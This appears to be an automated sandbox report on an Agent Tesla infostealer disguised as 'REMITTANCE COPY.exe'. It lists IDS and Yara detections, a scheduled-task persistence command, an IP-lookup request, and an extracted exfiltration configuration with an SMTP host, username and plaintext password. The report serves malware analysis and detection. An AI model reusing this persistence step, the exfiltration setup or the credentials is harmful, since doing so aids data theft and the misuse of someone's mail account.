Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmpEBC.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmpEBC.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\REMITTANCE COPY.exe", ParentImage: C:\Users\user\Desktop\REMITTANCE COPY.exe, ParentProcessId: 5676, ParentProcessName: REMITTANCE COPY.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmpEBC.tmp", ProcessId: 3128, ProcessName: schtasks.exe

Snort Signatures

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 135.181.124.14

Timestamp:	04/19/24-15:37:03.080820
SID:	2855542
Source Port:	49705
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 135.181.124.14

Timestamp:	04/19/24-15:37:03.080820
SID:	2855245
Source Port:	49705
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.5 - Destination IP: 135.181.124.14

Timestamp:	04/19/24-15:37:03.080820
SID:	2840032
Source Port:	49705
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.5 - Destination IP: 135.181.124.14

Timestamp:	04/19/24-15:37:06.758919
SID:	2030171
Source Port:	49707
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Agent Tesla SMTP Activity - Source IP: 192.168.2.5 - Destination IP: 135.181.124.14

Timestamp:	04/19/24-15:37:06.758919
SID:	2839723
Source Port:	49707
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 135.181.124.14

Timestamp:	04/19/24-15:37:06.759029
SID:	2851779
Source Port:	49707
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Agent Tesla SMTP Activity - Source IP: 192.168.2.5 - Destination IP: 135.181.124.14

Timestamp:	04/19/24-15:37:03.080820
SID:	2839723
Source Port:	49705
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.5 - Destination IP: 135.181.124.14

Timestamp:	04/19/24-15:37:03.080820
SID:	2030171
Source Port:	49705
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 135.181.124.14

Timestamp:	04/19/24-15:37:06.759029
SID:	2855542
Source Port:	49707
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 135.181.124.14

Timestamp:	04/19/24-15:37:06.759029
SID:	2855245
Source Port:	49707
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.5 - Destination IP: 135.181.124.14

Timestamp:	04/19/24-15:37:06.759029
SID:	2840032
Source Port:	49707
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 135.181.124.14

Timestamp:	04/19/24-15:37:03.080820
SID:	2851779
Source Port:	49705
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 9.2.CNqCubHKvlzbGo.exe.3d01928.1.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.tabcoeng.com", "Username": "tabco@tabcoeng.com", "Password": "TaSq3365!"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe

ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: REMITTANCE COPY.exe

ReversingLabs: Detection: 44%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: REMITTANCE COPY.exe

Joe Sandbox ML: detected

Source: REMITTANCE COPY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49713 version: TLS 1.0

Source: REMITTANCE COPY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: winload_prod.pdbY source: CNqCubHKvlzbGo.exe, 00000009.00000002.2100459259.0000000005DCE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: XJmcU.pdb source: REMITTANCE COPY.exe, CNqCubHKvlzbGo.exe.0.dr
Source:	Binary string: XJmcU.pdbSHA2569 source: REMITTANCE COPY.exe, CNqCubHKvlzbGo.exe.0.dr

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	File opened: C:\Users\user\AppData\Local\Temp\acrocef_low\NULL	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\NULL	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\NULL	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\Acrobat	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49705 -> 135.181.124.14:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.5:49705 -> 135.181.124.14:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49705 -> 135.181.124.14:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.5:49705 -> 135.181.124.14:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.5:49705 -> 135.181.124.14:587
Source: Traffic	Snort IDS: 2839723 ETPRO TROJAN Win32/Agent Tesla SMTP Activity 192.168.2.5:49705 -> 135.181.124.14:587
Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49707 -> 135.181.124.14:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.5:49707 -> 135.181.124.14:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49707 -> 135.181.124.14:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.5:49707 -> 135.181.124.14:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.5:49707 -> 135.181.124.14:587
Source: Traffic	Snort IDS: 2839723 ETPRO TROJAN Win32/Agent Tesla SMTP Activity 192.168.2.5:49707 -> 135.181.124.14:587

Yara detected Generic Downloader

Source: Yara match	File source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3d01928.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3ab0f18.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3cc6108.2.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 135.181.124.14:587

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View

JA3 fingerprint: 1138de370e523e824bbca92d049a3777

Source: unknown

DNS query: name: ip-api.com

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 135.181.124.14:587

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49713 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: ip-api.com

Source: MSBuild.exe, 00000008.00000002.2076423787.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3251502190.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: REMITTANCE COPY.exe, 00000000.00000002.2052332128.0000000003A75000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2076423787.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2072537987.0000000000402000.00000040.00000400.00020000.00000000.sdmp, CNqCubHKvlzbGo.exe, 00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3250308604.000000000125C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3251502190.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: MSBuild.exe, 00000008.00000002.2076423787.0000000002FC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3251502190.0000000002F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.tabcoeng.com
Source: REMITTANCE COPY.exe, 00000000.00000002.2051789680.0000000002A04000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2076423787.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, CNqCubHKvlzbGo.exe, 00000009.00000002.2094246093.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3251502190.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: REMITTANCE COPY.exe, CNqCubHKvlzbGo.exe.0.dr	String found in binary or memory: http://tempuri.org/x.xsd?MultiGames.Properties.Resources
Source: REMITTANCE COPY.exe, 00000000.00000002.2052332128.0000000003A75000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2072537987.0000000000402000.00000040.00000400.00020000.00000000.sdmp, CNqCubHKvlzbGo.exe, 00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: REMITTANCE COPY.exe, CNqCubHKvlzbGo.exe.0.dr	String found in binary or memory: https://github.com/zuppao).

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, cPKWk.cs	.Net Code: _3etv
Source: 0.2.REMITTANCE COPY.exe.3ab0f18.2.raw.unpack, cPKWk.cs	.Net Code: _3etv

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.2.CNqCubHKvlzbGo.exe.3cc6108.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.REMITTANCE COPY.exe.3ab0f18.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.CNqCubHKvlzbGo.exe.3d01928.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.CNqCubHKvlzbGo.exe.3d01928.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.REMITTANCE COPY.exe.3ab0f18.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.CNqCubHKvlzbGo.exe.3cc6108.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

.NET source code contains very large array initializations

Source: 0.2.REMITTANCE COPY.exe.52d0000.4.raw.unpack, LoginForm.cs

Large array initialization: : array initializer size 33603

.NET source code contains very large strings

Source: REMITTANCE COPY.exe, Form1.cs	Long String: Length: 131612
Source: CNqCubHKvlzbGo.exe.0.dr, Form1.cs	Long String: Length: 131612

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Code function: 0_2_00F3DC74	0_2_00F3DC74
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Code function: 0_2_0804CCF0	0_2_0804CCF0
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Code function: 0_2_0804F840	0_2_0804F840
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Code function: 0_2_08048DD0	0_2_08048DD0
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Code function: 0_2_08047FD8	0_2_08047FD8
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Code function: 0_2_08047FE8	0_2_08047FE8
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Code function: 0_2_080463A8	0_2_080463A8
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Code function: 0_2_08048420	0_2_08048420
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Code function: 0_2_080467E0	0_2_080467E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_015141F0	8_2_015141F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_01514AC0	8_2_01514AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_01513EA8	8_2_01513EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_0151F6E0	8_2_0151F6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069C66A8	8_2_069C66A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069C87E0	8_2_069C87E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069C0040	8_2_069C0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069CEC58	8_2_069CEC58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069CE837	8_2_069CE837
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069CB398	8_2_069CB398
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069C33C0	8_2_069C33C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069C9C10	8_2_069C9C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069C8EF3	8_2_069C8EF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069CACB8	8_2_069CACB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069C59B8	8_2_069C59B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069C0006	8_2_069C0006
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_02ABDC74	9_2_02ABDC74
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F77F0	9_2_051F77F0
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FC6D0	9_2_051FC6D0
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F9990	9_2_051F9990
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FC9E8	9_2_051FC9E8
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F8AE0	9_2_051F8AE0
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F8532	9_2_051F8532
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F8540	9_2_051F8540
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FF590	9_2_051FF590
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FF580	9_2_051FF580
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FA40A	9_2_051FA40A
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F7790	9_2_051F7790
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FB6DA	9_2_051FB6DA
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FC6C1	9_2_051FC6C1
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FB6E8	9_2_051FB6E8
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F8078	9_2_051F8078
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F8068	9_2_051F8068
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FBC91	9_2_051FBC91
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FD950	9_2_051FD950
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F994D	9_2_051F994D
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FC9D9	9_2_051FC9D9
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FA830	9_2_051FA830
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FA820	9_2_051FA820
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F68D8	9_2_051F68D8
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F68C9	9_2_051F68C9
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F1B4F	9_2_051F1B4F
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F1B60	9_2_051F1B60
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FBA58	9_2_051FBA58
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051FBA48	9_2_051FBA48
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F8AD2	9_2_051F8AD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_01324AC0	13_2_01324AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0132CE80	13_2_0132CE80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_01323EA8	13_2_01323EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_013241F0	13_2_013241F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0132F6E0	13_2_0132F6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_01321A6D	13_2_01321A6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_067787E0	13_2_067787E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_067732F8	13_2_067732F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0677B398	13_2_0677B398
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06770040	13_2_06770040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06779C10	13_2_06779C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0677E848	13_2_0677E848
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_067759C8	13_2_067759C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06778F08	13_2_06778F08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0677ACB8	13_2_0677ACB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06BC33D0	13_2_06BC33D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06770007	13_2_06770007

Source: REMITTANCE COPY.exe, 00000000.00000000.2001994444.0000000000422000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameXJmcU.exe< vs REMITTANCE COPY.exe
Source: REMITTANCE COPY.exe, 00000000.00000002.2055141808.00000000052D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs REMITTANCE COPY.exe
Source: REMITTANCE COPY.exe, 00000000.00000002.2050320374.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs REMITTANCE COPY.exe
Source: REMITTANCE COPY.exe, 00000000.00000002.2058423182.0000000008430000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs REMITTANCE COPY.exe
Source: REMITTANCE COPY.exe, 00000000.00000002.2051789680.0000000002A04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename25c1d7be-ae86-4a0f-bd4e-a9e1f6e75e07.exe4 vs REMITTANCE COPY.exe
Source: REMITTANCE COPY.exe, 00000000.00000002.2052332128.0000000003A75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename25c1d7be-ae86-4a0f-bd4e-a9e1f6e75e07.exe4 vs REMITTANCE COPY.exe
Source: REMITTANCE COPY.exe	Binary or memory string: OriginalFilenameXJmcU.exe< vs REMITTANCE COPY.exe

Source: REMITTANCE COPY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 9.2.CNqCubHKvlzbGo.exe.3cc6108.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.REMITTANCE COPY.exe.3ab0f18.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.CNqCubHKvlzbGo.exe.3d01928.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.CNqCubHKvlzbGo.exe.3d01928.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.REMITTANCE COPY.exe.3ab0f18.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.CNqCubHKvlzbGo.exe.3cc6108.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: REMITTANCE COPY.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: CNqCubHKvlzbGo.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, cPs8D.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, 72CF8egH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, G5CXsdn.cs	Cryptographic APIs: 'TransformFinalBlock'
